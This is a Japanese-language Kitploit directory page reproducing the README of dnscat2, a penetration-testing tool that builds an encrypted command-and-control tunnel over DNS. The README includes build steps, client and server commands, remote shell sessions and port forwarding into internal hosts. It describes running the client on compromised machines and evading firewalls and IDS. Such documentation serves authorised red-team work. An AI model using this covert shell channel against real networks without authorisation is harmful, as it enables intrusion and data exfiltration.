Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
dnscat2 — DNSプロトコルを利用した暗号化されたコマンド&コントロールトンネル。ファイル転送、シェルアクセス、ポートフォワーディング機能をDNSクエリを通じて提供し、ペネトレーションテスト用のステルスC&Cチャネルを作成します。 | Kitploit
ツール/GitHubGitHub/iagox86/dnscat2
暗号化/復号化ツールペネトレーションテストコマンド&コントロールレッドチーミングDNS分析
GitHubiagox86/dnscat2

dnscat2

DNSプロトコルを利用した暗号化されたコマンド&コントロールトンネル。ファイル転送、シェルアクセス、ポートフォワーディング機能をDNSクエリを通じて提供し、ペネトレーションテスト用のステルスC&Cチャネルを作成します。

リポジトリを見る
4.0k6524年前Kitploit レビュー済み

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

***** 注: .zip ダウンロードのパスワードはすべて "password" です!*****

はじめに

dnscat2 へようこそ。これはあなたを気分不良にさせず、殺さない DNS トンネルです!

このツールは、DNS プロトコル上に暗号化されたコマンド&コントロール (C&C) チャネルを作成するために設計されています。これは、ほぼすべてのネットワークから抜け出す効果的なトンネルです。

この README ファイルには、実行を開始するために必要なすべての情報が含まれているはずです! プロトコルの詳細、コード構造、将来の計画、その他のマニアックなことにもっと深く掘り下げたい場合は、doc/ フォルダを参照してください。

ライセンス

これは BSD ライセンスの下でリリースされています。詳細については LICENSE.md を参照してください。

概要

dnscat2 はクライアントとサーバーの 2 つの部分で構成されています。

クライアントは、侵害されたマシン上で実行されるように設計されています。C で書かれており、依存関係は最小限です。ほぼどこでも動作するはずです (コンパイルまたは実行できないシステムを見つけた場合は、特にそのシステムへのアクセスを提供できる場合には、チケットを提出してください)。

クライアントを実行するときは、通常、ドメイン名を指定します。すべてのリクエストはローカル DNS サーバーに送信され、そのドメインの権威 DNS サーバー (おそらくあなたが制御しているサーバー) にリダイレクトされます。

権威 DNS サーバーがない場合は、UDP/53 (または任意のポート) での直接接続も使用できます。より高速で、一見したところ DNS トラフィックのように見えますが、パケットログでははるかに明白です (ソースをハッキングしない限り、すべてのドメインは "dnscat." で始まります)。このモードはファイアウォールによって頻繁にブロックされます。

サーバーは 権威 DNS サーバー 上で実行されるように設計されています。Ruby で書かれており、いくつかの異なる gem に依存しています。実行時には、クライアントと同様に、リッスンするドメインを指定し、さらに UDP/53 で直接自分に送信されたメッセージもリッスンします。それらのドメインのいずれかに対するトラフィックを受信すると、論理接続の確立を試みます。他のトラフィックを受信した場合は、デフォルトで無視しますが、上流に転送することもできます。

両方の部分の詳細な手順を以下に示します。

これは ..... とどう違うのか

dnscat2 は、特別な目的、つまりコマンド&コントロールのために設計されている点で、他の DNS トンネリングプロトコルとは一線を画すことを目指しています。

これは、ホテルのネットワークから抜け出したり、飛行機で無料インターネットを利用するためのものではありません。また、単に TCP をトンネリングするだけではありません。

任意のデータを、プロトコルを付けずにトンネリングできます。つまり、ファイルのアップロード/ダウンロード、シェルの実行、そしてそれらをうまく実行できます。TCP をトンネリングすることも可能ですが、それはペネトレーションテストツールのコンテキストでのみ追加される予定です (つまり、ネットワークへの TCP トンネリング)。汎用トンネリングツールとしては追加されません。それはすでに実現されており、私にとっては興味深いものではありません。

また、デフォルトで暗号化されています。他の公開 DNS トンネルがすべてのトラフィックを暗号化しているとは思いません!

入手方法

以下にいくつかの重要なリンクを示します。

  • Github 上のソースコード
  • ダウンロード (署名付きの Linux 32-bit、Linux 64-bit、Win32、およびクライアントのソースコードバージョンに加えて、サーバーのアーカイブがあります – 署名ファイルはファイルと同じサーバー上にホストされていることに注意してください。そのため、心配な場合は、私の PGP キーを確認してください :) )
  • ユーザードキュメント エンドユーザー向け (例: 変更履歴) と開発者向け (例: 貢献 ドキュメント) の両方のファイルのコレクション
  • Issue トラッカー (問題をメールで送ることもできます。私のファーストネーム (ron) をドメイン名 (skullsecurity.net) の前に置いてください)

使い方

dnscat2 の背後にある理論は単純です。DNS プロトコル上にトンネルを作成します。

なぜでしょうか? なぜなら、DNS には素晴らしい特性があるからです。サーバーからサーバーへと、行き先がわかるまで伝わっていきます。

つまり、dnscat がセキュアなネットワークからトラフィックを送り出すには、単に DNS サーバーにメッセージを送信すればよく、DNS サーバーはそれを DNS ネットワークを通じてあなたの DNS サーバーに転送してくれます。

もちろん、これは権威 DNS サーバーにアクセスできることを前提としています。dnscat2 は「直接」接続もサポートしています。つまり、dnscat クライアントを実行し、あなたの ip アドレスと UDP ポート 53 (デフォルト) で実行されている dnscat に直接接続します。トラフィックは依然として DNS トラフィックのように見え、より愚かな IDS/IPS システムをすり抜ける可能性がありますが、ファイアウォールによって停止される可能性が高いです。

権威 DNS サーバーの設定方法が不明な場合は、ドメインプロバイダーと設定する必要があります。izhan が親切にも その方法を書いてくれました。

コンパイル

クライアント

クライアントのコンパイルは非常に簡単です。必要なのは make/gcc (Linux の場合) または Cygwin もしくは Microsoft Visual Studio (Windows の場合) だけです。Linux でのコマンドは次のとおりです。

root@kitploit:~
$ git clone https://github.com/iagox86/dnscat2.git
$ cd dnscat2/client/
$ make

Windows では、Visual Studio に client/win32/dnscat2.vcproj をロードし、「ビルド」を押してください。私は Visual Studio 2008 で作成しテストしています – 新しいバージョンの正規コピーを無料で入手するまでは、これを使い続けるつもりです。 :)

コンパイルに失敗した場合は、私の github ページ にバグを報告してください! システムに関する詳細を送ってください。

フラグなしで実行することで、dnscat2 が正常にコンパイルされたことを確認できます。設定された DNS サーバーを使用して DNS トンネルを開始しようとします (これは失敗します)。

root@kitploit:~
$ ./dnscat
Starting DNS driver without a domain! This will only work if you
are directly connecting to the dnscat2 server.

You'll need to use --dns server=<server> if you aren't.

** WARNING!
*
* It looks like you're running dnscat2 with the system DNS server,
* and no domain name!*
* That's cool, I'm not going to stop you, but the odds are really,
* really high that this won't work. You either need to provide a
* domain to use DNS resolution (requires an authoritative server):
*
*     dnscat mydomain.com
*
* Or you have to provide a server to connect directly to:
*
*     dnscat --dns=server=1.2.3.4,port=53
*
* I'm going to let this keep running, but once again, this likely
* isn't what you want!
*
** WARNING!

Creating DNS driver:
 domain = (null)
 host   = 0.0.0.0
 port   = 53
 type   = TXT,CNAME,MX
 server = 4.2.2.1
[[ ERROR ]] :: DNS: RCODE_NAME_ERROR
[[ ERROR ]] :: DNS: RCODE_NAME_ERROR
[[ ERROR ]] :: DNS: RCODE_NAME_ERROR
[[ ERROR ]] :: DNS: RCODE_NAME_ERROR
[[ ERROR ]] :: DNS: RCODE_NAME_ERROR
[[ ERROR ]] :: DNS: RCODE_NAME_ERROR
[[ ERROR ]] :: DNS: RCODE_NAME_ERROR
[[ ERROR ]] :: DNS: RCODE_NAME_ERROR
[[ ERROR ]] :: DNS: RCODE_NAME_ERROR
[[ ERROR ]] :: DNS: RCODE_NAME_ERROR
[[ ERROR ]] :: The server hasn't returned a valid response in the last 10 attempts.. closing session.
[[ FATAL ]] :: There are no active sessions left! Goodbye!
[[ WARNING ]] :: Terminating

サーバー

サーバーは「コンパイル」されませんが、いくつかの Ruby 依存関係が必要です。残念ながら、Ruby の依存関係は動作させるのが面倒な場合があるので、頑張ってください! このセクションを改善するのを手伝ってくれる Ruby の専門家がいたら、感謝します!

Ruby と Gem がインストールされており、正常に動作していることを前提としています。そうでない場合は、apt-get、emerge、rvm、またはお使いのオペレーティングシステムで通常の方法でインストールしてください。

Ruby/Gem が整ったら、次のコマンドを実行します (注意: すでにクライアントをインストールしている場合は git clone コマンドを、すでに bundler をインストールしている場合は gem install bundler をスキップできます)。

root@kitploit:~
$ git clone https://github.com/iagox86/dnscat2.git
$ cd dnscat2/server/
$ gem install bundler
$ bundle install

gem install bundler または bundler install で権限エラーが発生した場合は、root として実行する必要があるかもしれません。多くの問題が発生する場合は、Ruby/Gem をアンインストールし、rvm を使用して root なしですべてをインストールしてください。

次のようなエラーが発生した場合:

root@kitploit:~
/usr/lib/ruby/1.9.1/rubygems/custom_require.rb:36:in `require': cannot load such file -- mkmf (LoadError)

これは Ruby の -dev バージョンをインストールする必要があることを意味します:

root@kitploit:~
$ sudo apt-get install ruby-dev

sudo だけではすべてが正しく動作するとは限らず、時には root に切り替えて直接そのアカウントで作業する必要があります。rvmsudo は役に立ちません。なぜなら ctrl-z が使えなくなるからです。

サーバーが動作していることを確認するには、フラグなしで実行し、dnscat2> プロンプトが表示されるかどうかを確認します。

root@kitploit:~
# ruby ./dnscat2.rb

New window created: 0
Welcome to dnscat2! Some documentation may be out of date.

passthrough => disabled
auto_attach => false
auto_command =>
process =>
history_size (for new windows) => 1000
New window created: dns1
Starting Dnscat2 DNS server on 0.0.0.0:53
[domains = n/a]...

It looks like you didn't give me any domains to recognize!
That's cool, though, you can still use direct queries,
although those are less stealthy.

To talk directly to the server without a domain name, run:
  ./dnscat2 --dns server=x.x.x.x,port=53

Of course, you have to figure out <server> yourself! Clients
will connect directly on UDP port 53.

dnscat2>

root として実行しない場合、UDP/53 でのリッスンに問題が発生する可能性があります (その場合は --dnsport を使用して変更できます)。その場合はエラーメッセージが表示されます。

Ruby を root として実行

Ruby を root として実行するのに問題がある場合、初回実行時には次のようにしています:

root@kitploit:~
$ cd dnscat2/server
$ su
# gpg --keyserver hkp://keys.gnupg.net --recv-keys 409B6B1796C275462A1703113804BB82D39DC0E3
# \curl -sSL https://get.rvm.io | bash
# source /etc/profile.d/rvm.sh
# rvm install 1.9
# rvm use 1.9
# bundle install
# ruby ./dnscat2.rb

そして、以降の実行時:

root@kitploit:~
$ cd dnscat2/server
$ su
# source /etc/profile.d/rvm.sh
# ruby ./dnscat2.rb

rvmsudo を使えば簡単になるはずですが、dnscat2 は残念ながら rvmsudo と相性が良くありません。

使用方法

クライアント + サーバー

ツールの具体的な使用方法について説明する前に、dnscat の構造について説明しましょう。dnscat ツールはクライアントとサーバーの 2 つの部分に分かれています。コンパイルの手順で気づいたかもしれませんが、クライアントは C で書かれており、サーバーは Ruby です。

通常、サーバーが最初に実行されます。サーバーは長期間実行でき、好きなだけ多くのクライアントを処理できます。前述したように、基本的には C&C サービスです。

その後、クライアントが実行され、サーバーとのセッションが開かれます (セッションの詳細は後述)。セッションは、DNS 階層を経由する (推奨だが複雑) か、サーバーに直接接続することができます。DNS 階層を経由するには権威ドメインが必要ですが、ほとんどのファイアウォールをバイパスできます。サーバーに直接接続する方法は、いくつかの理由でより明白です。

デフォルトでは、接続は自動的に暗号化されます (クライアントでは --no-encryption、サーバーでは --security=open で無効化)。新しい接続を確立する際、中間者攻撃を懸念する場合、ピアを検証するための 2 つのオプションがあります。

  • 両側で --secret 引数を使用して事前共有秘密を渡し、接続を検証する
  • 暗号化ネゴシエーション後にクライアントとサーバーの両方に表示される「ショート認証文字列」 (一連の単語) を手動で検証する

サーバーの実行

サーバー – 通常は特定のドメインの権威 DNS サーバー上で実行されます – は、高機能で対話的、かつユーザーフレンドリーになるように設計されています。Ruby で書かれており、その設計の多くは Metasploit と Meterpreter に触発されています。

上記のコンパイル手順に従った場合、次のようにサーバーを実行できるはずです。

root@kitploit:~
$ ruby ./dnscat2.rb skullseclabs.org

ここで "skullseclabs.org" はあなた自身のドメインです。権威 DNS サーバーがない場合でも必須ではありませんが、このツールは権威サーバーを使用した方がはるかにうまく動作します。

これだけですべてです! それ以外には、他の任意のシステムでクライアントの --ping コマンドを使用してテストできます。これはコンパイル済みであれば利用できるはずです。

root@kitploit:~
$ ./dnscat --ping skullseclabs.org

ping が成功すれば、C&C サーバーはおそらく正常です! DNS サーバーを別のポートで実行している場合、またはカスタム DNS リゾルバを使用する必要がある場合は、--ping に加えて --dns フラグを使用できます。

root@kitploit:~
$ ./dnscat --dns server=8.8.8.8,domain=skullseclabs.org --ping

$ ./dnscat --dns port=53531,server=localhost,domain=skullseclabs.org --ping

--dns 引数を指定する場合、ドメインはその引数内に (domain=xxx として) 含める必要があることに注意してください。コマンドラインで別途渡すことはできません (コマンド解析の制限によるもので、将来のリリースで改善する予定です)。

プロセスが実行されている間、基本的に同じ構文を使用して新しいサーバーを開始できます。

root@kitploit:~
dnscat2> start --dns=port=53532,domain=skullseclabs.org,domain=test.com
New window created: dns2
Starting Dnscat2 DNS server on 0.0.0.0:53532
[domains = skullseclabs.org, test.com]...

Assuming you have an authoritative DNS server, you can run
the client anywhere with the following:
  ./dnscat2 skullseclabs.org
  ./dnscat2 test.com

To talk directly to the server without a domain name, run:
  ./dnscat2 --dns server=x.x.x.x,port=53532

Of course, you have to figure out <server> yourself! Clients
will connect directly on UDP port 53532.

異なるホスト/ポートであれば、好きなだけ DNS リスナーを実行できます。データが着信すると、プロセスの残りの部分はデータがどのリスナーから来たかを認識しません。実際、クライアントは異なるパケットを異なるポートに送信でき、セッションは期待どおり継続します。

クライアントの実行

クライアント – 通常はシステムを侵害した後に実行されます – は、シンプルで安定、そして移植可能になるように設計されています。C で書かれており、ライブラリの依存関係は可能な限り少なく、Linux、Windows、Cygwin、FreeBSD、Mac OS X 上でネイティブにコンパイル/実行されます。

クライアントにはコマンドラインでドメイン名を指定します。例:

root@kitploit:~
./dnscat2 skullseclabs.org

この例では、skullseclabs.org で実行されている dnscat2 サーバーとの C&C セッションを作成します。権威ドメインがオプションでない場合は、代わりに特定の IP アドレスを指定して接続することもできます。

root@kitploit:~
./dnscat2 --dns host=206.220.196.59,port=5353

そのホスト/ポートで dnscat2 サーバーが実行されていれば、そこでセッションが作成されます。

トンネル

おい、お前、トンネルが好きだって聞いたぞ。だから、トンネルを通してトンネルをトンネリングできるようになった!

現在、dnscat2 を介した接続のトンネリングが可能です。これは "ssh -L" に似ています! 他のモード ("ssh -D" や "ssh -R") も近日中に追加される予定です。

セッション (コマンドセッション) が開始された後、新しいトンネルポートを開くために "listen" コマンドが使用されます。構文はおおよそ ssh -L と同じです。

root@kitploit:~
listen [lhost:]lport rhost:rport

ローカルホストはオプションで、デフォルトですべてのインターフェース (0.0.0.0) になります。ローカルポートとリモートホスト/ポートは必須です。

dnscat2 サーバーは lport でリッスンします。そのポートで受信したすべての接続は、dnscat2 クライアントを介して、選択したリモートホスト/ポートに転送されます。

たとえば、次のコマンドはポート 4444 (サーバー上) でリッスンし、トラフィックを google に転送します。

root@kitploit:~
listen 4444 www.google.com:80

その後、http://localhost:4444 に接続すると、dnscat2 クライアントを経由して google.com に接続されます。

ペンテストでこれを使用し、dnscat2 クライアント (誰かの企業ネットワーク上で実行中) を介して内部デバイスに ssh 接続を転送したいとします。次のようにできます。

root@kitploit:~
listen 127.0.0.1:2222 10.10.10.10:22

これにより、dnscat2 サーバーの localhost インターフェースのみでリッスンし、トンネルを介して接続を 10.10.10.10 のポート 22 に転送します。

暗号化

dnscat2 はデフォルトで暗号化されています。

私は暗号学者ではないので、やむを得ず自分で暗号化方式を考案しました。その結果、これは 100% 信頼できるものではありません。攻撃を防ぐかなり良い仕事をしたと思いますが、これは専門家による監査を受けていません。注意して使用してください。

暗号化に関する詳細な技術情報は プロトコルドキュメント に大量にあります。ここでは基本を示します。

デフォルトでは、クライアントとサーバーの両方が暗号化をサポートし、試行します。各接続は ECDH によってネゴシエートされた新しい鍵ペアを使用します。すべての暗号化は salsa20 で行われ、署名には sha3 が使用されます。

暗号化は、クライアントでコマンドラインに --no-encryption を渡すか、make nocrypto でコンパイルすることで無効にできます。

サーバーはデフォルトで暗号化されていない接続を拒否します。暗号化されていない接続を許可するには、サーバーに --security=open を渡すか、コンソールで set security=open を実行します。

デフォルトでは、中間者攻撃に対する保護はありません。前述のように、MitM 保護を実現するには、事前共有秘密または「ショート認証文字列」の 2 つの方法があります。

事前共有秘密は、クライアントとサーバーの両方のコマンドラインで渡され、クライアントからサーバー、およびサーバーからクライアントへの認証に使用されます。多少強力な値である必要があります – 攻撃者が迅速に推測できないもの (攻撃者が推測できる時間は短いため、数秒間だけ耐えられれば十分です)。

事前共有秘密は、クライアントとサーバーの両方で --secret パラメータを介して渡されます。サーバーは実行時に set secret=<新しい値> を使用して変更できますが、アクティブなクライアントが接続されている場合、予期しない結果を引き起こす可能性があります。

さらに、サーバーは --security=authenticated または set security=authenticated を使用して、認証された接続のみを許可するように強制できます。これは、--secret パラメータを渡す場合にデフォルトで有効になります。

接続の認証に余分な手間をかけたくない場合は、クライアントとサーバーの両方に「ショート認証文字列」が表示されます。ショート認証文字列は、両側が共有する秘密の値に基づいて導出された一連の英単語です。

クライアントとサーバーの両方に同じ英単語のセットが表示されれば、接続は合理的に安全であると見なせます。

暗号化について知っておくべきことはこれくらいです! 詳細はプロトコルドキュメントを参照してください! 暗号に関するフィードバックも大歓迎です。:)

最後に、暗号化に関する問題があれば、お知らせください! デフォルトでは、起動時に "crypto-debug" というウィンドウが作成されます。暗号化の問題が発生した場合は、そのログを送ってください! さらに良いのは、--firehose と --packet-trace 引数を指定して dnscat2 を実行し、すべてを送ってください! 秘密鍵が漏れる心配はありません。それらはそのセッションでのみ使用されます。

dnscat2 のウィンドウ

dnscat2 の UI は多数のウィンドウで構成されています。デフォルトのウィンドウは「main」ウィンドウと呼ばれます。コマンドプロンプトで windows (または sessions) と入力すると、ウィンドウの一覧を取得できます。

root@kitploit:~
dnscat2> windows
0 :: main [active]
  dns1 :: DNS Driver running on 0.0.0.0:53 domains = skullseclabs.org [*]

2 つのウィンドウがあることに注意してください。ウィンドウ 0 はメインウィンドウ、ウィンドウ dns1 はリスナー (技術的には「トンネルドライバー」と呼ばれます) です。

コマンドを受け付ける任意のウィンドウ (main とコマンドセッション) で、help と入力するとコマンドの一覧を取得できます。

root@kitploit:~
dnscat2> help

Here is a list of commands (use -h on any of them for additional help):
* echo
* help
* kill
* quit
* set
* start
* stop
* tunnels
* unset
* window
* windows

これらのコマンドのいずれかについて、-h または --help を使用して詳細を取得できます。dnscat2> window --help Error: The user requested help

Interact with a window -i, --i= Interact with the chosen window -h, --help Show this message

windowコマンドを使用して、ステータスウィンドウであるdns1と対話します:

root@kitploit:~
dnscat2> window -i dns1
New window created: dns1
Starting Dnscat2 DNS server on 0.0.0.0:53531
[domains = skullseclabs.org]...

Assuming you have an authoritative DNS server, you can run
the client anywhere with the following:
  ./dnscat2 skullseclabs.org

To talk directly to the server without a domain name, run:
  ./dnscat2 --dns server=x.x.x.x,port=53531

Of course, you have to figure out <server> yourself! Clients
will connect directly on UDP port 53531.

Received:  dnscat.9fa0ff178f72686d6c716c6376697968657a6d716800 (TXT)
Sending:  9fa0ff178f72686d6c716c6376697968657a6d716800
Received:  d17cff3e747073776c776d70656b73786f646f616200.skullseclabs.org (MX)
Sending:  d17cff3e747073776c776d70656b73786f646f616200.skullseclabs.org

受信した文字列と送信した文字列は、デコードするとpingになります。

ctrl-z を押すと「親」ウィンドウ(この場合はmain)に切り替えることができます。ctrl-z でプロセスが終了してしまう場合は、おそらくもっと良い方法で実行する必要があります(rvmsudoは機能しません。上記を参照)。

新しいクライアントが接続してセッションを作成すると、main(およびその他の特定のウィンドウ)で通知されます:

root@kitploit:~
New window created: 1
dnscat2>
ツールをダウンロード

(プロンプトを表示するには Enter キーを押す必要があることに注意してください)

dns1ステータスウィンドウに切り替えたのと同じ方法で、新しいウィンドウに切り替えることができます:

root@kitploit:~
dnscat2> window -i 1
New window created: 1
history_size (session) => 1000
This is a command session!

That means you can enter a dnscat2 command such as
'ping'! For a full list of clients, try 'help'.

command session (ubuntu-64) 1>

コマンドセッションは追加のセッションを生成できます。例えばshellコマンド:

root@kitploit:~
command session (ubuntu-64) 1> shell
Sent request to execute a shell
New window created: 2
Shell session created!

command session (ubuntu-64) 1>

(このドキュメントでは出力を整理していますが、通常はプロンプトを表示するために Enter キーを押す必要があります)

その後、メインセッションに戻ると(ctrl-z または suspend)、ウィンドウのリストに表示されます:

root@kitploit:~
dnscat2> windows
0 :: main [active]
  dns1 :: DNS Driver running on 0.0.0.0:53531 domains = skullseclabs.org [*]
  1 :: command session (ubuntu-64)
  2 :: sh (ubuntu-64) [*]

残念ながら、特定のコマンドセッション内の'windows'コマンドは、そのセッションからの子ウィンドウのみを表示し、現在新しいセッションは子として生成されません。

一部のセッションに[*]が付いていることに注意してください。これは、最後に確認してからアクティビティがあったことを意味します。

セッションと対話すると、セッションタイプによってインターフェースが異なります。デフォルトのセッションタイプ(コマンドセッション)では、トップレベルのセッションと同じUIが表示されます('help'と入力したり、コマンドを実行したりできます)。ただし、'shell'セッションと対話する場合、コマンドを入力するまではあまり表示されません:

root@kitploit:~
dnscat2> windows
0 :: main [active]
  dns1 :: DNS Driver running on 0.0.0.0:53531 domains = skullseclabs.org [*]
  1 :: command session (ubuntu-64)
  2 :: sh (ubuntu-64) [*]

dnscat2> session -i 2
New window created: 2
history_size (session) => 1000
This is a console session!

That means that anything you type will be sent as-is to the
client, and anything they type will be displayed as-is on the
screen! If the client is executing a command and you don't
see a prompt, try typing 'pwd' or something!

To go back, type ctrl-z.

sh (ubuntu-64) 2> pwd

/home/ron/tools/dnscat2/client

ここから抜け出すには、ctrl-z を使うか、"exit"(セッションを終了)と入力します。

最後に、セッションを強制終了するには kill コマンドを使用します:

root@kitploit:~
dnscat2> windows
0 :: main [active]
  dns1 :: DNS Driver running on 0.0.0.0:53531 domains = skullseclabs.org [*]
  1 :: command session (ubuntu-64)
  2 :: sh (ubuntu-64) [*]
dnscat2> kill 2
Session 2 has been sent the kill signal!
Session 2 has been killed
dnscat2> windows
0 :: main [active]
  dns1 :: DNS Driver running on 0.0.0.0:53531 domains = skullseclabs.org [*]
  1 :: command session (ubuntu-64)

歴史

過去には、いくつかのDNSトンネリングツールがありました。その1つが、Tadek Pietraszek によって書かれた dnscat です。問題は、Java で書かれていることで、私は基本的にどこでも動作するものを本当に望んでいました。

そのバージョンのdnscatは、NSTX というツールに基づいていました。そのページはもう存在せず、Wayback Machine にもないため、それについて私は何も知りません。

その後、C実装を書き、それを dnscat(許可なく)と名付けました。以前の Java バージョンはメンテナンスされておらず、私はその名前がとても好きだったからです(dnscat-ng と呼ぶことも考えましたが、-ng は私の好みには少し言葉が多いです)。動作しましたが、多くの問題がありました。クライアントとサーバーは、netcat のように同じツールであり、DNS がクライアント/サーバーモデルであるため、うまく機能しませんでした。もう1つの問題は、DNSプロトコルにあまりにも密接にリンクしていたため、DNS上でしか実行できなかったことです。

dnscat2 - dnscat の後継 - は、私が犯した過ちのいくつかを修正する試みです。dnscat2 は別々のサーバー(Ruby)とクライアント(C)を持ち、すべてをバイトストリームとして扱い、一種のドライバを使用してそのバイトストリームをDNSリクエストに変換し、そして元に戻します。したがって、DNSを下位層とする階層化プロトコルです。

その結果、私は dnscat プロトコルと呼ぶプロトコルを考案しました。そのドキュメントは docs/protocol.md にあります。これは単純なポーリングネットワークプロトコルで、クライアントが定期的にサーバーにポーリングし、サーバーがメッセージ(またはエラーコード)で応答します。このプロトコルは、dnscat1 で私が抱えていたさまざまな問題(つまり、順序が狂ったパケット、ドロップされたパケット、重複したパケットを同様に処理できる)に対して耐性を持つように設計されています。